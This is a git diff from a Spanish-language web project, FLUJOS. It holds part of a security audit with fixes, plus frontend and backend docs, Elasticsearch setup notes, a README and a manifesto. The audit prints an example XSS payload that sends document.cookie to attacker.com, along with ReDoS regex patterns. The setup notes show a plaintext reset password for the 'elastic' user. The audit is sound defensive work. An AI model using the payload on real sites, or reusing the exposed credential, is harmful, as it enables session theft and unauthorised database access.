### 🟠 ALTA 1 — XSS Almacenado (Stored XSS)
|
||||
|
||||
**Archivo:** `FLUJOS/VISUALIZACION/public/output_int_sec.js` línea 90–92
|
||||
**Archivo:** `FLUJOS/VISUALIZACION/public/3dscript_eco-corp.html` líneas 88, 102
|
||||
|
||||
El contenido de nodos (`content`) proveniente de MongoDB se inserta con `innerHTML`:
|
||||
```javascript
|
||||
detailPanel.innerHTML = `
|
||||
<h2>Detalle</h2>
|
||||
<pre>${content || 'No hay contenido disponible.'}</pre>
|
||||
`;
|
||||
```
|
||||
|
||||
Si la BD se compromete o un artículo scrapeado contiene HTML malicioso (`<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>`), se ejecuta en el navegador de todos los visitantes.
|
||||
|
||||
**Fix:**
|
||||
```javascript
|
||||
const pre = document.createElement('pre');
|
||||
pre.textContent = content || 'No hay contenido disponible.';
|
||||
const h2 = document.createElement('h2');
|
||||
h2.textContent = 'Detalle';
|
||||
detailPanel.replaceChildren(h2, pre);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 🟠 ALTA 2 — ReDoS via `$regex` sin sanitizar
|
||||
|
||||
**Archivo:** `FLUJOS_APP.js` línea 72
|
||||
|
||||
```javascript
|
||||
nodesQuery.texto = { $regex: palabraClave, $options: 'i' };
|
||||
```
|
||||
|
||||
Un patrón como `(a+)+$` o `(.*a){20}` puede bloquear MongoDB durante segundos o minutos (ataque de Denegación de Servicio).
|
||||
|
||||
**Fix:**
|
||||
```javascript
|
||||
if (palabraClave) {
|
||||
if (typeof palabraClave !== 'string' || palabraClave.length > 100) {
|
||||
res.status(400).json({ error: 'palabraClave inválida' });
|
||||
return;
|
||||
}
|
||||
// Escapar metacaracteres regex
|
||||
const escapedKw = palabraClave.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
|
||||
nodesQuery.texto = { $regex: escapedKw, $options: 'i' };
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 🟠 ALTA 3 — Sin rate limiting
|
||||
|
||||
No existe ningún límite de peticiones. Un script puede hacer miles de consultas/segundo, saturando MongoDB o la RAM del servidor.
|
||||
|
||||
**Fix:**
|
||||
```bash
|
||||
npm install express-rate-limit
|
||||
```
|
||||
```javascript
|
||||
const rateLimit = require('express-rate-limit');
|
||||
app.use('/api/', rateLimit({
|
||||
windowMs: 60 * 1000, // 1 minuto
|
||||
max: 60, // 60 peticiones por minuto por IP
|
||||
standardHeaders: true,
|
||||
legacyHeaders: false,
|
||||
}));
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 🟡 MEDIA 1 — CSP con `unsafe-inline`
|
||||
|
||||
La CSP actual permite `'unsafe-inline'` en `scriptSrc`. Esto anula la protección XSS de la CSP porque cualquier script inline se ejecuta sin restricción.
|
||||
|
||||
Origen del problema: los `<script>` inline en los HTML (fade-out del fondo, setTimeout).
|
||||
|
||||
**Fix:** Mover ese JS inline a ficheros `.js` separados y eliminar `'unsafe-inline'` del CSP.
|
||||
|
||||
---
|
||||
|
||||
### 🟡 MEDIA 2 — Helmet parcialmente configurado / X-Powered-By expuesto
|
||||
|
||||
Solo se usa `helmet.contentSecurityPolicy()`, dejando otras protecciones de Helmet desactivadas. La cabecera `X-Powered-By: Express` está visible, revelando el stack.
|
||||
|
||||
**Fix:**
|
||||
```javascript
|
||||
app.use(helmet()); // activa todo por defecto
|
||||
app.use(helmet.contentSecurityPolicy({...})); // luego ajusta solo el CSP
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Lo que está bien
|
||||
|
||||
| Componente | Estado |
|
||||
|---|---|
|
||||
| HTTPS con Let's Encrypt | Activo en nginx |
|
||||
| MongoDB en 127.0.0.1 | No expuesto al exterior |
|
||||
| Límite de nodos máx. 500 | `Math.min(parseInt(nodos) || 100, 500)` |
|
||||
| Helmet CSP básico | Activo |
|
||||
| No hay SQL injection | BD es MongoDB, no SQL |
|
||||
| No directory listing en /wiki-images/ | Express static lo rechaza |
|
||||
| HTTP → HTTPS redirect | Configurado en nginx |
|
||||
|
||||
---
|
||||
|
||||
## Configuración nginx relevante (theflows.net)
|
||||
|
||||
```
|
||||
/etc/nginx/sites-enabled/theflows.net
|
||||
├── HTTP :80 → redirect 301 HTTPS
|
||||
├── HTTPS :443 ssl http2 (Let's Encrypt)
|
||||
│ ├── root: FLUJOS/VISUALIZACION/public (estáticos directos)
|
||||
│ └── /api/ → proxy_pass http://127.0.0.1:3000/api/
|
||||
```
|
||||
|
||||
**Problema:** el backend Node también escucha en `0.0.0.0:3000`, así que nginx solo es un proxy opcional, no obligatorio.
|
||||
|
||||
---
|
||||
|
||||
## Orden de prioridad de fixes
|
||||
|
||||
| # | Vulnerabilidad | Impacto | Esfuerzo |
|
||||
|---|---|---|---|
|
||||
| 1 | NoSQL Injection | CRÍTICO | 10 min |
|
||||
| 2 | Puerto 3000 público | CRÍTICO | 1 línea |
|
||||
| 3 | XSS stored (innerHTML) | ALTO | 15 min |
|
||||
| 4 | ReDoS via palabraClave | ALTO | 10 min |
|
||||
| 5 | Rate limiting | ALTO | 15 min |
|
||||
| 6 | CSP unsafe-inline | MEDIO | 30 min |
|
||||
| 7 | Helmet completo | MEDIO | 5 min |
|
||||
231
INFO/DOCS/CONTEXT/VISUALIZACION_JS.md
Normal file
231
INFO/DOCS/CONTEXT/VISUALIZACION_JS.md
Normal file
|
|
@ -0,0 +1,231 @@
|
|||
# Visualización JavaScript — Contexto técnico FLUJOS
|
||||
**Fecha:** 2026-04-21
|
||||
**Directorio:** `FLUJOS/VISUALIZACION/public/`
|
||||
**Backend:** `FLUJOS/BACK_BACK/FLUJOS_APP.js`
|
||||
|
||||
---
|
||||
|
||||
## Arquitectura general
|
||||
|
||||
```
|
||||
theflows.net (nginx)
|
||||
├── / → archivos estáticos desde VISUALIZACION/public/
|
||||
└── /api/ → proxy a Node.js :3000
|
||||
└── GET /api/data?tema=...&nodos=...&complejidad=...
|
||||
└── MongoDB FLUJOS_DATOS
|
||||
```
|
||||
|
||||
El frontend es **vanilla JS sin framework**, todo en ficheros `.js` planos. Cada vista (`glob-war`, `int-sec`, `climate`, etc.) tiene su propio script de grafo 3D.
|
||||
|
||||
---
|
||||
|
||||
## Dependencias externas (CDN)
|
||||
|
||||
```html
|
||||
<!-- D3.js v6 — simulación de fuerzas -->
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script>
|
||||
|
||||
<!-- Three.js r168 — renderer WebGL, Sprite, TextureLoader -->
|
||||
<script src="https://unpkg.com/three@0.168/build/three.min.js"></script>
|
||||
|
||||
<!-- 3d-force-graph — wrapper de Three.js para grafos de fuerza 3D -->
|
||||
<script src="https://unpkg.com/3d-force-graph"></script>
|
||||
```
|
||||
|
||||
Three.js debe cargarse ANTES de 3d-force-graph o `THREE` no estará disponible globalmente cuando el grafo intente usarlo para los Sprite.
|
||||
|
||||
---
|
||||
|
||||
## API — Endpoint único
|
||||
|
||||
```
|
||||
GET /api/data
|
||||
```
|
||||
|
||||
Parámetros de query:
|
||||
|
||||
| Param | Tipo | Descripción |
|
||||
|---|---|---|
|
||||
| `tema` | string (obligatorio) | Tema principal de la consulta |
|
||||
| `subtematica` | string | Filtro por subtema |
|
||||
| `palabraClave` | string | Búsqueda `$regex` en campo `texto` |
|
||||
| `fechaInicio` | `YYYY-MM-DD` | Rango inicio |
|
||||
| `fechaFin` | `YYYY-MM-DD` | Rango fin |
|
||||
| `nodos` | int (máx. 500) | Límite de nodos de texto |
|
||||
| `complejidad` | float | Similitud mínima (%) para los enlaces |
|
||||
|
||||
**Respuesta:**
|
||||
```json
|
||||
{
|
||||
"nodes": [
|
||||
{ "id": "archivo.txt", "group": "subtema", "tema": "...", "content": "...", "fecha": "...", "type": "texto" },
|
||||
{ "id": "imagen.jpg", "group": "subtema", "tema": "...", "content": "...", "fecha": "...", "type": "imagen", "image_url": "/wiki-images/tema/img.jpg", "label": "subtema" }
|
||||
],
|
||||
"links": [
|
||||
{ "source": "archivo_A.txt", "target": "archivo_B.txt", "value": 23.45 }
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
El backend limita imágenes a `floor(nodosLimit / 3)` para no saturar el grafo.
|
||||
Prefiere `imagenes` (analizadas con Qwen) sobre `imagenes_wiki` (fallback scrapeado).
|
||||
|
||||
---
|
||||
|
||||
## Estructura de un script de grafo (patrón base)
|
||||
|
||||
Todos los scripts (`output_glob_war.js`, `output_int_sec.js`, etc.) siguen el mismo patrón:
|
||||
|
||||
```javascript
|
||||
document.addEventListener('DOMContentLoaded', () => {
|
||||
const elem = document.getElementById('contenedorContainer');
|
||||
|
||||
// 1. Inicializar grafo
|
||||
const graph = ForceGraph3D()(elem)
|
||||
.backgroundColor('#000000')
|
||||
.nodeLabel(node => node.type === 'imagen' ? (node.label || node.id) : node.id)
|
||||
.nodeAutoColorBy('group')
|
||||
.nodeVal(node => node.type === 'imagen' ? 0 : 2) // 0 = sin esfera para imágenes
|
||||
.linkColor(() => 'rgba(0,255,80,0.4)')
|
||||
.onNodeClick(node => showNodeContent(node.content))
|
||||
.onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; })
|
||||
.nodeThreeObject(node => { /* Sprite para imágenes */ })
|
||||
.nodeThreeObjectExtend(false)
|
||||
.forceEngine('d3')
|
||||
.d3Force('charge', d3.forceManyBody().strength(-10))
|
||||
.d3Force('link', d3.forceLink().distance(30).strength(1));
|
||||
|
||||
// 2. Fetch de datos
|
||||
async function getData(paramsObj = {}) { ... }
|
||||
|
||||
// 3. Renderizar
|
||||
async function fetchAndRender() { ... }
|
||||
|
||||
// 4. Evento del formulario
|
||||
document.getElementById('paramForm').addEventListener('submit', e => {
|
||||
e.preventDefault();
|
||||
fetchAndRender();
|
||||
});
|
||||
|
||||
// 5. Carga inicial
|
||||
fetchAndRender();
|
||||
});
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Nodos de imagen — THREE.Sprite
|
||||
|
||||
Los nodos de tipo `imagen` usan un Sprite de Three.js en lugar de la esfera por defecto:
|
||||
|
||||
```javascript
|
||||
const textureCache = {};
|
||||
|
||||
function getTexture(url) {
|
||||
if (!textureCache[url]) {
|
||||
textureCache[url] = new THREE.TextureLoader().load(url);
|
||||
}
|
||||
return textureCache[url];
|
||||
}
|
||||
|
||||
// En nodeThreeObject:
|
||||
.nodeThreeObject(node => {
|
||||
if (node.type !== 'imagen' || !node.image_url) return null;
|
||||
|
||||
const texture = getTexture(node.image_url);
|
||||
texture.colorSpace = THREE.SRGBColorSpace; // corrección de color
|
||||
|
||||
const material = new THREE.SpriteMaterial({ map: texture, depthWrite: false });
|
||||
const sprite = new THREE.Sprite(material);
|
||||
sprite.scale.set(14, 9, 1); // proporción 14:9 ≈ 16:9
|
||||
return sprite;
|
||||
})
|
||||
.nodeThreeObjectExtend(false) // false = reemplaza la esfera, no la extiende
|
||||
```
|
||||
|
||||
`getTexture` cachea las texturas para no recargar la misma imagen cada vez que el grafo se actualiza.
|
||||
|
||||
`depthWrite: false` evita artefactos de z-fighting entre sprites que se superponen.
|
||||
|
||||
---
|
||||
|
||||
## Archivos por vista
|
||||
|
||||
| Vista | HTML | Script |
|
||||
|---|---|---|
|
||||
| Index / Home | `index.html` | ninguno (estático) |
|
||||
| Glob-War | `glob-war.html` | `output_glob_war_pruebas.js` |
|
||||
| Int-Sec | `int-sec.html` | `output_int_sec.js` |
|
||||
| Climate | `climate.html` | `climate.js` / `output_climate_pruebas.js` |
|
||||
| Eco-Corp | `eco-corp.html` | `output_eco_corp_pruebas.js` |
|
||||
| Popl-Up | `popl-up.html` | `output_popl_up_pruebas.js` / `output_popl_up.js` |
|
||||
|
||||
Los ficheros `*_pruebas.js` son la versión en desarrollo activo (son los referenciados en los HTML). Los sin `_pruebas` son versiones anteriores o de referencia.
|
||||
|
||||
---
|
||||
|
||||
## Formulario de parámetros (sidebar)
|
||||
|
||||
```html
|
||||
<form id="paramForm">
|
||||
<input type="date" id="fecha_inicio">
|
||||
<input type="date" id="fecha_fin">
|
||||
<input type="number" id="nodos" value="100">
|
||||
<input type="range" id="complejidad" min="1" max="40" value="20">
|
||||
<input type="text" id="param1"> <!-- palabraClave -->
|
||||
<input type="color" id="color1"> <!-- sin uso en backend aún -->
|
||||
<input type="text" id="param2"> <!-- subtematica -->
|
||||
<input type="color" id="color2"> <!-- sin uso en backend aún -->
|
||||
<input type="submit" value="Aplicar">
|
||||
</form>
|
||||
```
|
||||
|
||||
`color1` y `color2` están en el HTML pero el backend los ignora. Están pendientes de implementar para colorear nodos por grupo.
|
||||
|
||||
---
|
||||
|
||||
## Filtrado client-side de enlaces
|
||||
|
||||
Además del filtro de `complejidad` en el backend (`porcentaje_similitud >= X`), el cliente aplica un segundo filtro eliminando enlaces cuyos nodos no existan en la respuesta:
|
||||
|
||||
```javascript
|
||||
const nodeIds = new Set(data.nodes.map(n => n.id));
|
||||
data.links = data.links.filter(l => nodeIds.has(l.source) && nodeIds.has(l.target));
|
||||
```
|
||||
|
||||
Esto previene errores de 3d-force-graph cuando llegan enlaces a nodos que no se devolvieron por el límite.
|
||||
|
||||
---
|
||||
|
||||
## Backend Node.js — FLUJOS_APP.js
|
||||
|
||||
**Archivo:** `FLUJOS/BACK_BACK/FLUJOS_APP.js`
|
||||
**Puerto:** 3000 (configurado en `.env`)
|
||||
**Proceso:** gestionado manualmente (falta configurar como systemd service)
|
||||
|
||||
Rutas:
|
||||
```
|
||||
GET / → glob-war.html (redirige a index.html)
|
||||
GET /api/data → endpoint de datos
|
||||
GET /wiki-images/* → estático desde IMAGENES/output/wiki_images/
|
||||
GET /* → archivos estáticos desde VISUALIZACION/public/
|
||||
```
|
||||
|
||||
La CSP actual (Helmet) permite `unsafe-inline` en scripts — pendiente de corregir (ver SEGURIDAD.md).
|
||||
|
||||
---
|
||||
|
||||
## Imágenes wiki — ruta física a URL
|
||||
|
||||
```
|
||||
Disco: /var/www/theflows.net/flujos/FLUJOS_DATOS/IMAGENES/output/wiki_images/{tema_slug}/{archivo}
|
||||
Express: app.use('/wiki-images', express.static('.../wiki_images'))
|
||||
URL: https://theflows.net/wiki-images/{tema_slug}/{archivo}
|
||||
```
|
||||
|
||||
El backend construye `image_url` en el API:
|
||||
```javascript
|
||||
const WIKI_IMAGES_BASE = '/var/www/theflows.net/flujos/FLUJOS_DATOS/IMAGENES/output/wiki_images/';
|
||||
const relativePath = result.image_path.replace(WIKI_IMAGES_BASE, '');
|
||||
image_url = `/wiki-images/${relativePath}`;
|
||||
```
|
||||
69
INFO/DOCS/ELASTIC_DATOS.txt
Executable file
69
INFO/DOCS/ELASTIC_DATOS.txt
Executable file
|
|
@ -0,0 +1,69 @@
|
|||
PROYECTO FLUJOS: DOCUMENTACIÓN
|
||||
|
||||
|
||||
===================================================================================================
|
||||
1. BASE DE DATOS (ELASTICSEARCH)
|
||||
a. Instalación:
|
||||
|
||||
# Sigue las instrucciones de la página oficial para descargar e instalar Elasticsearch y Kibana.
|
||||
b. Configuración de Elasticsearch:
|
||||
|
||||
# AÑADE O MODIFICA las siguientes líneas en el archivo elasticsearch.yml con tu editor de texto preferido, por ejemplo:
|
||||
nano config/elasticsearch.yml
|
||||
|
||||
network.host: localhost
|
||||
http.port: 9200
|
||||
c. Inicio de Elasticsearch:
|
||||
|
||||
# Desde la carpeta de Elasticsearch, ejecuta:
|
||||
bin/elasticsearch
|
||||
|
||||
d. Verificación:
|
||||
|
||||
# Ejecuta el siguiente comando para verificar:
|
||||
curl -X GET "http://localhost:9200/"
|
||||
|
||||
===================================================================================================
|
||||
2. SCRAPER (scraper.py)
|
||||
a. Ejecución:
|
||||
|
||||
# Asegúrate de estar en el directorio correcto y ejecuta:
|
||||
python3 scraper.py
|
||||
|
||||
===================================================================================================
|
||||
3. PROCESAMIENTO Y GUARDADO (guardar_datos.py)
|
||||
a. Ejecución:
|
||||
|
||||
# Asegúrate de estar en el directorio correcto y ejecuta:
|
||||
python3 guardar_datos.py
|
||||
|
||||
|
||||
===================================================================================================
|
||||
4. KIBANA
|
||||
a. Configuración:
|
||||
|
||||
# AÑADE O MODIFICA las siguientes líneas en el archivo kibana.yml con tu editor de texto preferido, por ejemplo:
|
||||
nano config/kibana.yml
|
||||
|
||||
elasticsearch.hosts: ["http://localhost:9200"]
|
||||
b. Inicio de Kibana:
|
||||
|
||||
# Desde la carpeta de Kibana, ejecuta:
|
||||
bin/kibana
|
||||
c. Acceso a Kibana:
|
||||
|
||||
# Abre tu navegador y ve a:
|
||||
http://localhost:5601
|
||||
|
||||
===================================================================================================
|
||||
|
||||
|
||||
sito@SIT0:~/PROGRAMACION/FLUJOS_TODO/FLUJOS_DATOS/elasticsearch-8.10.0/bin$ ./elasticsearch-reset-password -u elastic
|
||||
This tool will reset the password of the [elastic] user to an autogenerated value.
|
||||
The password will be printed in the console.
|
||||
Please confirm that you would like to continue [y/N]Y
|
||||
|
||||
|
||||
Password for the [elastic] user successfully reset.
|
||||
New value: VFe09fj6X*jqSZpyqZrb
|
||||
sito@SIT0:~/PROGRAMACION/FLUJOS_TODO/FLUJOS_DATOS/elasticsearch-8.10.0/bin$
|
||||
69
INFO/DOCS/ELASTIC_FLUJOS.txt
Executable file
69
INFO/DOCS/ELASTIC_FLUJOS.txt
Executable file
|
|
@ -0,0 +1,69 @@
|
|||
PROYECTO FLUJOS: DOCUMENTACIÓN
|
||||
plaintext
|
||||
Copy code
|
||||
===================================================================================================
|
||||
1. BASE DE DATOS (ELASTICSEARCH)
|
||||
a. Instalación:
|
||||
bash
|
||||
Copy code
|
||||
# Sigue las instrucciones de la página oficial para descargar e instalar Elasticsearch y Kibana.
|
||||
b. Configuración de Elasticsearch:
|
||||
bash
|
||||
Copy code
|
||||
# AÑADE O MODIFICA las siguientes líneas en el archivo elasticsearch.yml con tu editor de texto preferido, por ejemplo:
|
||||
nano config/elasticsearch.yml
|
||||
|
||||
network.host: localhost
|
||||
http.port: 9200
|
||||
c. Inicio de Elasticsearch:
|
||||
bash
|
||||
Copy code
|
||||
# Desde la carpeta de Elasticsearch, ejecuta:
|
||||
bin/elasticsearch
|
||||
d. Verificación:
|
||||
bash
|
||||
Copy code
|
||||
# Ejecuta el siguiente comando para verificar:
|
||||
curl -X GET "http://localhost:9200/"
|
||||
plaintext
|
||||
Copy code
|
||||
===================================================================================================
|
||||
2. SCRAPER (scraper.py)
|
||||
a. Ejecución:
|
||||
bash
|
||||
Copy code
|
||||
# Asegúrate de estar en el directorio correcto y ejecuta:
|
||||
python3 scraper.py
|
||||
plaintext
|
||||
Copy code
|
||||
===================================================================================================
|
||||
3. PROCESAMIENTO Y GUARDADO (guardar_datos.py)
|
||||
a. Ejecución:
|
||||
bash
|
||||
Copy code
|
||||
# Asegúrate de estar en el directorio correcto y ejecuta:
|
||||
python3 guardar_datos.py
|
||||
plaintext
|
||||
Copy code
|
||||
===================================================================================================
|
||||
4. KIBANA
|
||||
a. Configuración:
|
||||
bash
|
||||
Copy code
|
||||
# AÑADE O MODIFICA las siguientes líneas en el archivo kibana.yml con tu editor de texto preferido, por ejemplo:
|
||||
nano config/kibana.yml
|
||||
|
||||
elasticsearch.hosts: ["http://localhost:9200"]
|
||||
b. Inicio de Kibana:
|
||||
bash
|
||||
Copy code
|
||||
# Desde la carpeta de Kibana, ejecuta:
|
||||
bin/kibana
|
||||
c. Acceso a Kibana:
|
||||
bash
|
||||
Copy code
|
||||
# Abre tu navegador y ve a:
|
||||
http://localhost:5601
|
||||
plaintext
|
||||
Copy code
|
||||
===================================================================================================
|
||||
112
INFO/DOCS/LEEME.txt
Executable file
112
INFO/DOCS/LEEME.txt
Executable file
|
|
@ -0,0 +1,112 @@
|
|||
=============================================================================
|
||||
DOCUMENTACIÓN DEL PROYECTO FLUJOS
|
||||
=============================================================================
|
||||
|
||||
INTRODUCCIÓN:
|
||||
-------------
|
||||
El proyecto FLUJOS es una aplicación web diseñada para unir noticias y eventos del pasado para entender la historia como una sucesion de eventos .
|
||||
Combatir la desinformacion es el principal objetivo del proeycto .
|
||||
|
||||
ESTRUCTURA DEL PROYECTO:
|
||||
-------------------------
|
||||
El proyecto FLUJOS está organizado de la siguiente manera:
|
||||
|
||||
- /flujos: Carpeta principal del proyecto.
|
||||
- /BACK: Contiene los archivos y scripts relacionados con la parte del servidor y la base de datos.
|
||||
- /FRONT: Contiene los archivos de la aplicación web del lado del cliente.
|
||||
- /TENSOR_FLOW: Carpeta que alberga los componentes relacionados con TensorFlow y la inteligencia artificial.
|
||||
- /DOCUMENTACIÓN: Documentación técnica y de usuario.
|
||||
|
||||
INSTALACIÓN:
|
||||
------------
|
||||
Para configurar y ejecutar el proyecto FLUJOS, sigue estos pasos:
|
||||
|
||||
1. Clona el repositorio desde GitLab:
|
||||
|
||||
git clone https://gitlab.com/tu-usuario/flujos.git
|
||||
|
||||
|
||||
|
||||
2. Crea y activa un entorno virtual:
|
||||
|
||||
python3 -m venv env
|
||||
source env/bin/activate
|
||||
|
||||
|
||||
|
||||
3. Instala las dependencias:
|
||||
|
||||
pip install -r requirements.txt
|
||||
|
||||
|
||||
4. Configura la base de datos y realiza las migraciones:
|
||||
|
||||
python manage.py migrate
|
||||
|
||||
|
||||
|
||||
5. Crea un superusuario para administrar la aplicación:
|
||||
|
||||
python manage.py createsuperuser
|
||||
|
||||
|
||||
|
||||
EJECUCIÓN:
|
||||
----------
|
||||
Para ejecutar el proyecto FLUJOS en un entorno de desarrollo local, utiliza el siguiente comando:
|
||||
|
||||
python manage.py runserver
|
||||
|
||||
|
||||
|
||||
El proyecto estará disponible en http://localhost:8000/.
|
||||
|
||||
ESTRUCTURA DEL PROYECTO (DETALLES):
|
||||
-------------------------------------
|
||||
- /BACK: Esta carpeta contiene la lógica del servidor Django y se encarga de la autenticación de usuarios y la gestión de la base de datos.
|
||||
|
||||
- /FRONT: Aquí se encuentran los archivos estáticos y la interfaz de usuario de la aplicación web.
|
||||
|
||||
- /TENSOR_FLOW: Carpeta dedicada a las implementaciones de TensorFlow y el procesamiento de datos relacionado con la inteligencia artificial.
|
||||
|
||||
AUTENTICACIÓN DE USUARIOS:
|
||||
--------------------------
|
||||
El sistema de autenticación de usuarios permite a los usuarios registrarse, iniciar sesión y gestionar sus cuentas de usuario. Los datos se almacenan en una base de datos Elasticsearch.
|
||||
|
||||
ENVÍO DE CORREOS ELECTRÓNICOS:
|
||||
-------------------------------
|
||||
El proyecto FLUJOS incluye un sistema de envío de correos electrónicos para funciones como verificación de correo electrónico y recuperación de contraseñas.
|
||||
|
||||
SEGURIDAD Y PRIVACIDAD:
|
||||
-----------------------
|
||||
El proyecto FLUJOS se preocupa por la seguridad y privacidad de los usuarios y emplea medidas de seguridad estándar.
|
||||
|
||||
IMPLEMENTACIÓN DE PGP:
|
||||
----------------------
|
||||
El proyecto utiliza PGP para garantizar la seguridad de las comunicaciones entre periodistas y la aplicación web.
|
||||
|
||||
PRUEBAS:
|
||||
--------
|
||||
Para ejecutar las pruebas unitarias y de integración, utiliza el siguiente comando:
|
||||
|
||||
python manage.py test
|
||||
|
||||
|
||||
|
||||
DESPLEGUE:
|
||||
----------
|
||||
El despliegue del proyecto FLUJOS en un entorno de producción requiere [Instrucciones y mejores prácticas para desplegar el proyecto en un entorno de producción real].
|
||||
|
||||
CONTRIBUCIONES:
|
||||
---------------
|
||||
¡Agradecemos las contribuciones! Si deseas contribuir al proyecto, sigue las pautas en [Enlace a las pautas de contribución en GitLab].
|
||||
|
||||
CONTACTO:
|
||||
---------
|
||||
Para obtener ayuda o más información, comunícate con [Información de contacto].
|
||||
|
||||
LICENCIA:
|
||||
---------
|
||||
Este proyecto se distribuye bajo la licencia [Nombre de la licencia]. Consulta el archivo LICENSE para más detalles.
|
||||
|
||||
=============================================================================
|
||||
33
INFO/DOCS/MANIFEST.txt
Executable file
33
INFO/DOCS/MANIFEST.txt
Executable file
|
|
@ -0,0 +1,33 @@
|
|||
Since the beginning of the human era , we have had access to information , by asking , by reading , by watching .
|
||||
|
||||
But wasnt until the greedinesh of a few that appeard , that this access to information was limited .
|
||||
|
||||
What you denny submits you , what you accept transforms you .
|
||||
|
||||
Public information should be free to everybody .
|
||||
|
||||
Private information should be protected , so that no goverment or person cant apply to much power .
|
||||
|
||||
Dont trust the authority or the authority will eat your privileges .
|
||||
|
||||
One image talks more than 1000 words .
|
||||
One graph relates more than 1000 talks .
|
||||
|
||||
|
||||
The ability to correlate actions with speeches and vice versa
|
||||
gives you the power to know about the past .
|
||||
|
||||
He who controls the past controls the future .
|
||||
He who controls the present controls the past .
|
||||
|
||||
LOS GIGANTES VISTOS EN PERSPECTIVA
|
||||
PARECEN MARIONETAS
|
||||
|
||||
Lo que hay que tener es una premisa bien clara :
|
||||
Sin miedo no hay limites y sin limites no hay control.
|
||||
Sin control no hay limities y sin limites no hay miedo .
|
||||
|
||||
La cuestion no es cuando , la cuestion es como
|
||||
|
||||
Sabes , que hay debajo del asfalto ?
|
||||
EL MAR .
|
||||
108
INFO/DOCS/arquitecture_main.txt
Normal file
108
INFO/DOCS/arquitecture_main.txt
Normal file
|
|
@ -0,0 +1,108 @@
|
|||
┌──────────────────────────────────────────────────────────────────────────────────────────┐
|
||||
│ FLUJOS_APP.js /api/data │
|
||||
└──────────────────────────────────────────────────────────────────────────────────────────┘
|
||||
▲ ▲
|
||||
│ │
|
||||
│ │
|
||||
HTTP GET MongoDB
|
||||
/api/data?tema=… Collections
|
||||
│ ┌─────────────┐
|
||||
│ │ noticias │
|
||||
│ ├─────────────┤
|
||||
│ │ wikipedia │
|
||||
│ ├─────────────┤
|
||||
│ │ torrents │
|
||||
│ ├─────────────┤
|
||||
│ │ comparaciones│
|
||||
│ └─────────────┘
|
||||
│ │
|
||||
│ │
|
||||
▼ ▼
|
||||
|
||||
┌───────────────────────────────┐ ┌────────────────────────────────┐
|
||||
│ 1) Construcción de nodesQuery │ │ 3) Construcción de linksQuery │
|
||||
├───────────────────────────────┤ ├────────────────────────────────┤
|
||||
│ let nodesQuery = { │ │ let linksQuery = { │
|
||||
│ tema: <tema>, │ │ porcentaje_similitud: { │
|
||||
│ ...(subtematica?) │──┐ │ $gte: <complejidadMin> │
|
||||
│ ...(palabraClave?) │ │ │ }, │
|
||||
│ ...(fechaInicio/fechaFin?) │ │ │ noticia1: { $in: nodeIds }, │
|
||||
│ } │ │ │ noticia2: { $in: nodeIds } │
|
||||
└───────────────────────────────┘ │ └────────────────────────────────┘
|
||||
│ │ │
|
||||
│ │ │
|
||||
│ │ │
|
||||
▼ │ ▼
|
||||
|
||||
┌──────────────────────────────────────────────────────────────────────────────────────────┐
|
||||
│ 2) Búsqueda de nodos (Promise.all) │
|
||||
├──────────────────────────────────────────────────────────────────────────────────────────┤
|
||||
│ const [wN, nN, tN] = await Promise.all([ │
|
||||
│ wikipedia.find(nodesQuery).limit(nodosLimit), // → hasta N wikis │
|
||||
│ noticias.find(nodesQuery).limit(nodosLimit), // → hasta N noticias │
|
||||
│ torrents.find(nodesQuery).limit(nodosLimit) // → hasta N torrents │
|
||||
│ ]); │
|
||||
│ │
|
||||
│ // Formateo a “Graph Nodes”: │
|
||||
│ formattedNodes = [...wN, ...nN, ...tN].map(doc ⇒ ({ │
|
||||
│ id: doc.archivo.trim(), // identificador único │
|
||||
│ group: doc.subtema || 'sinSub', // color/agrupación visual │
|
||||
│ tema: doc.tema, // metadato │
|
||||
│ content: doc.texto, // para mostrar al hacer clic │
|
||||
│ fecha: doc.fecha // filtrado por fecha │
|
||||
│ })); │
|
||||
└──────────────────────────────────────────────────────────────────────────────────────────┘
|
||||
│
|
||||
│ // Extraer lista de IDs de nodos
|
||||
│ nodeIds = formattedNodes.map(n ⇒ n.id)
|
||||
│
|
||||
│
|
||||
▼
|
||||
|
||||
┌──────────────────────────────────────────────────────────────────────────────────────────┐
|
||||
│ 4) Búsqueda de enlaces (comparaciones.find) │
|
||||
├──────────────────────────────────────────────────────────────────────────────────────────┤
|
||||
│ const links = await comparaciones.find(linksQuery).toArray(); │
|
||||
│ │
|
||||
│ // linksQuery: │
|
||||
│ // { porcentaje_similitud: {$gte:Min}, noticia1:{$in:nodeIds}, noticia2:{$in:nodeIds} } │
|
||||
│ │
|
||||
│ // Formateo a “Graph Links”: │
|
||||
│ formattedLinks = links.map(l ⇒ ({ │
|
||||
│ source: l.noticia1.trim(), // coincide con node.id │
|
||||
│ target: l.noticia2.trim(), // idem │
|
||||
│ value: l.porcentaje_similitud // grosor de la arista │
|
||||
│ })); │
|
||||
└──────────────────────────────────────────────────────────────────────────────────────────┘
|
||||
│
|
||||
│
|
||||
▼
|
||||
|
||||
┌──────────────────────────────────────────────────────────────────────────────────────────┐
|
||||
│ 5) Respuesta al cliente │
|
||||
├──────────────────────────────────────────────────────────────────────────────────────────┤
|
||||
│ res.json({ │
|
||||
│ nodes: formattedNodes, // array de {id, group, tema, content, fecha} │
|
||||
│ links: formattedLinks // array de {source, target, value} │
|
||||
│ }); │
|
||||
└──────────────────────────────────────────────────────────────────────────────────────────┘
|
||||
|
||||
▲
|
||||
│
|
||||
│
|
||||
│
|
||||
fetch('/api/data?...')
|
||||
│
|
||||
▼
|
||||
|
||||
┌──────────────────────────────────────────────────────────────────────────────────────────┐
|
||||
│ output_glob_war_prueba.js │
|
||||
├──────────────────────────────────────────────────────────────────────────────────────────┤
|
||||
│ • Inicializa ForceGraph3D (contenedor DOM) │
|
||||
│ • getData(paramsObj) │
|
||||
│ └─ construye URL: '/api/data?tema=guerra%20global&...' │
|
||||
│ └─ fetch → recibe {nodes,links} │
|
||||
│ └─ filtra enlaces erróneos (source/target no existentes) │
|
||||
│ • graph.graphData(data) // renderiza nodos + enlaces │
